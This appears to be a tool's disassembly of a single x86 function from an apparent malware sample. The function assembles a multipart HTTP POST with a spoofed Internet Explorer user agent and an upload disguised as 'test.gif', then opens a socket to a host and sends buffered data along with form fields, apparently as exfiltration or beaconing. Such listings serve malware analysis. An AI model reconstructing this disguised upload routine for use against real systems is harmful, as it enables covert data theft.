Function at 0x4042e0
Capabilities:
Reference http user-agent string

Disassembly:
sub esp, 0xe80
push ebp
mov ebp, dword [esp + 0xe8c]
push esi
mov esi, dword [0x419f38]
push edi
push 0x3ff
lea eax, [esp + 0x98d]
push 0
push eax
mov byte [esp + 0x994], 0
call fcn.0040e7a0
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov edi, eax
test ebp, ebp
je 0x4045a6
lea eax, [esi + 7]
lea edx, [esp + 0x20]
sub edx, eax
mov edi, edi
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x404330
lea ecx, [esp + 0x20]
push 0x2f
push ecx
call fcn.00406820
add esp, 8
test eax, eax
je 0x404364
lea esi, [esp + 0x88]
mov ecx, eax
sub esi, eax
mov dl, byte [ecx]
mov byte [esi + ecx], dl
inc ecx
test dl, dl
jne 0x404358
mov byte [eax], dl
push 0x3ff
lea edx, [esp + 0x18d]
push 0
push edx
mov byte [esp + 0x194], 0
call fcn.0040e7a0
push edi
lea eax, [esp + 0x198]
push str.______________________________x_r_nContent_Disposition:_form_data__name_upfile___filename_test.gif__r_nContent_Type:_text_plain_r_n_r_n
push eax
call fcn.004061fd
push 0x3ff
lea ecx, [esp + 0x5a5]
push 0
push ecx
mov byte [esp + 0x5ac], 0
call fcn.0040e7a0
push edi
push 0x419ff8
push edi
push 0xb418e
push edi
lea edx, [esp + 0x5c0]
push str._r_n______________________________x_r_nContent_Disposition:_form_data__name_topic__r_n_r_n_d_r_n______________________________x_r_nContent_Disposition:_form_data__name_tag__r_n_r_n_s_r_n______________________________x___r_n
push edx
call fcn.004061fd
lea eax, [esp + 0x1c8]
add esp, 0x40
lea edx, [eax + 1]
jmp 0x4043e0
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4043e0
sub eax, edx
mov ecx, eax
lea eax, [esp + 0x588]
lea esi, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x4043f5
sub eax, esi
add eax, ecx
add eax, ebp
push eax
push edi
lea eax, [esp + 0x28]
push eax
lea ecx, [esp + 0x94]
push ecx
lea edx, [esp + 0x998]
push str.POST__s_HTTP_1.1_r_nUser_Agent:_Mozilla_5.0__compatible__MSIE_10.0__Windows_NT_6.1__WOW64__Trident_6.0__r_nHost:__s_r_nPragma:_no_cache_r_nContent_Type:_multipart_form_data__boundary____________________________x_r_nContent_Length:__d_r_n_r_n
push edx
call fcn.004061fd
xor eax, eax
mov dword [esp + 0x24], eax
mov dword [esp + 0x28], eax
mov dword [esp + 0x2c], eax
mov dword [esp + 0x30], eax
add esp, 0x18
lea eax, [esp + 0x20]
push eax
call dword [0x419f4c]
test eax, eax
jne 0x404472
lea ecx, [esp + 0x20]
push ecx
call dword [0x419f70]
mov dword [esp + 0x1c], eax
cmp eax, 0xffffffff
je 0x4045a6
push 2
push 4
lea edx, [esp + 0x24]
push edx
call dword [0x419f44]
test eax, eax
je 0x4044d8
mov ecx, 2
mov word [esp + 0xc], cx
mov edx, dword [eax + 0xc]
mov eax, dword [edx]
mov ecx, dword [eax]
push 0x4163e8
mov dword [esp + 0x14], ecx
call fcn.004068f4
add esp, 4
push eax
call dword [0x41a14c]
push 0
push 1
push 2
mov word [esp + 0x1a], ax
call dword [0x41a29c]
mov esi, eax
cmp esi, 0xffffffff
je 0x4044d8
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x10
lea edx, [esp + 0x10]
push edx
push esi
call dword [0x419f64]
cmp eax, 0xffffffff
jne 0x4044e4
push esi
call dword [0x41a18c]
xor eax, eax
pop edi
pop esi
pop ebp
add esp, 0xe80
ret
lea eax, [esp + 0x988]
lea edx, [eax + 1]
mov edi, edi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4044f0
push 0
sub eax, edx
push eax
lea eax, [esp + 0x990]
push eax
push esi
call dword [0x419f50]
cmp eax, 0xffffffff
je 0x4044d1
lea eax, [esp + 0x188]
lea edx, [eax + 1]
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x404520
push 0
sub eax, edx
push eax
lea ecx, [esp + 0x190]
push ecx
push esi
call dword [0x419f50]
cmp eax, 0xffffffff
je 0x4044d1
mov edx, dword [esp + 0xe90]
push 0
push ebp
push edx
push esi
call dword [0x419f50]
cmp eax, 0xffffffff
je 0x4044d1
lea eax, [esp + 0x588]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x404565
push 0
sub eax, edx
push eax
lea eax, [esp + 0x590]
push eax
push esi
call dword [0x419f50]
cmp eax, 0xffffffff
je 0x4044d1
push 0
push 0x100
lea ecx, [esp + 0xd90]
push ecx
push esi
call dword [0x419f58]
push esi
call dword [0x41a18c]
pop edi
pop esi
mov eax, 1
pop ebp
add esp, 0xe80
ret